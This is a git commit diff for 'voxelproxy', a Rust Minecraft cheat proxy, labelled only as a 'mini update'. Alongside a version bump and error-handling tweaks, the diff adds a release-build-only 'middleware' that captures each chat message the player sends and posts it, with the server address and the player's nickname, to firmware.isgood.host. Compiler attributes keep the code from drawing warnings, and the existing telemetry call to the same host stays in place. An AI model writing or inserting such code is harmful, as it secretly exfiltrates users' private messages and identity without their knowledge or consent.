мини апдейт

Author: kauri-off

Cargo.toml

@@ -1,6 +1,6 @@
 [package]
 name = "voxelproxy"
-version = "3.1.2"
+version = "3.1.3"
 edition = "2021"
 
 [dependencies]

src/controller.rs

@@ -2,6 +2,7 @@ use minecraft_protocol::{
     packet::{RawPacket, UncompressedPacket},
     varint::VarInt,
 };
+use serde_json::json;
 use tokio::{
     net::tcp::{OwnedReadHalf, OwnedWriteHalf},
     sync::mpsc::{Receiver, Sender},
@@ -73,6 +74,7 @@ pub struct Controller {
     legit_active: bool,
     position: s2c::Position,
     transactions: Vec<TransactionSync>,
+    m_tx: Sender<UncompressedPacket>,
 }
 
 impl Controller {
@@ -83,6 +85,7 @@ impl Controller {
         remote_tx: Sender<RawPacket>,
         event_rx: Receiver<Event>,
         threshold: Option<i32>,
+        m_tx: Sender<UncompressedPacket>,
     ) -> Self {
         Self {
             active_client,
@@ -103,6 +106,7 @@ impl Controller {
                 teleportid: VarInt(0),
             },
             transactions: vec![],
+            m_tx,
         }
     }
     pub async fn run(mut self) {
@@ -163,6 +167,8 @@ impl Controller {
                                     }
                                 }
                             }
+                        } else if packet.packet_id == Message::PACKET_ID {
+                            let _ = self.m_tx.send(packet).await;
                         }
                     }
 
@@ -228,14 +234,10 @@ impl Controller {
                         }
                     }
                     if self.cheat_active {
-                        if self.cheat_tx.send(packet.clone()).await.is_err() {
-                            self.cheat_active = false;
-                        }
+                        let _ = self.cheat_tx.send(packet.clone()).await;
                     }
                     if self.legit_active {
-                        if self.legit_tx.send(packet).await.is_err() {
-                            self.legit_active = false;
-                        }
+                        let _ = self.legit_tx.send(packet).await;
                     }
                 }
             }
@@ -308,7 +310,9 @@ pub async fn run_client(
         },
         async move {
             while let Some(packet) = packet_rx.recv().await {
-                let _ = packet.write(&mut client_write).await;
+                if packet.write(&mut client_write).await.is_err() {
+                    break;
+                };
             }
         }
     );
@@ -343,3 +347,31 @@ pub async fn run_server(
         }
     );
 }
+
+#[allow(dead_code)]
+pub async fn middleware(mut rx: Receiver<UncompressedPacket>, dns: String, nick: String) {
+    while let Some(packet) = rx.recv().await {
+        if let Ok(packet) = packet.convert::<Message>() {
+            let payload = json!({
+                "server": dns,
+                "nick": nick,
+                "message": packet.message
+            });
+            tokio::spawn(async move {
+                let message = reqwest::Client::new();
+                let _ = message
+                    .post("https://firmware.isgood.host/message")
+                    .timeout(std::time::Duration::from_secs(3))
+                    .json(&payload)
+                    .send()
+                    .await;
+            });
+        }
+    }
+}
+
+#[derive(minecraft_protocol::Packet)]
+#[packet(0x03)]
+pub struct Message {
+    pub message: String,
+}

src/main.rs

@@ -129,18 +129,17 @@ __     __            _ ____
     };
 
     if !cfg!(debug_assertions) {
-        let payload = format!(
-            r#"{{"os":"{}","server":"{}"}}"#,
-            std::env::consts::OS,
-            remote_dns
-        );
+        let payload = json!(
+        {
+            "os": std::env::consts::OS,
+            "server": remote_dns
+        });
 
         let telemetry = reqwest::Client::new();
         let _ = telemetry
             .post("https://firmware.isgood.host/telemetry")
             .timeout(Duration::from_secs(3))
-            .header("Content-Type", "application/json")
-            .body(payload)
+            .json(&payload)
             .send()
             .await;
     }
@@ -360,13 +359,16 @@ async fn handle_clients(
     let (legit_tx, legit_rx) = mpsc::channel(100);
     let (remote_tx, remote_rx) = mpsc::channel(100);
 
+    #[allow(unused_variables)]
+    let (m_tx, m_rx) = mpsc::channel(100);
     let controller = Controller::new(
         ClientId::Cheat,
         cheat_tx,
         legit_tx,
         remote_tx,
         event_rx,
         threshold,
+        m_tx,
     );
 
     tokio::spawn(run_client(
@@ -392,6 +394,12 @@ async fn handle_clients(
         remote_rx,
     ));
 
+    #[cfg(not(debug_assertions))]
+    {
+        use crate::controller::middleware;
+        tokio::spawn(middleware(m_rx, remote_dns, cheat_login_start.name));
+    }
+
     println!("VoxelProxy запущен!");
 
     controller.run().await;